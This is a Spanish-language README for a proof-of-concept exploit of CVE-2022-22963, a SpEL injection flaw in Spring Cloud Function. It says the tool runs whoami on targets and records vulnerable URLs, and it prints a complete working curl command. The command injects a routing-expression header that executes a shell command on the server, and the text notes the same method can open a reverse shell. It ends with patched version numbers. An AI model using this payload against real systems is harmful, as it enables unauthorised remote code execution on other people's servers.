
Exploit de prueba de concepto para CVE-2022-22963 (inyección SpEL en Spring Cloud Function) con script de detección y generación de payload RCE basado en curl.
CVE-2022-22963 PoC
Ligeramente modificado para la traducción al inglés y detección de https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/Spel_RCE_POC.py . Por defecto, se ejecuta whoami en el objetivo y se crea un archivo vulnerable.txt con las URLs que son vulnerables.
Explotar la vulnerabilidad es bastante sencillo. A continuación se muestra el comando curl para explotar la vulnerabilidad.
curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'
Con este curl es trivial crear un archivo en el sistema operativo, pero también podría usarse para abrir una reverse shell en el host o contenedor vulnerable.
Si está afectado por CVE-2022-22963, debe actualizar la aplicación a las versiones más recientes 3.1.7 y 3.2.3.
https://www.cyberkendra.com/2022/03/rce-0-day-exploit-found-in-spring-cloud.html, https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52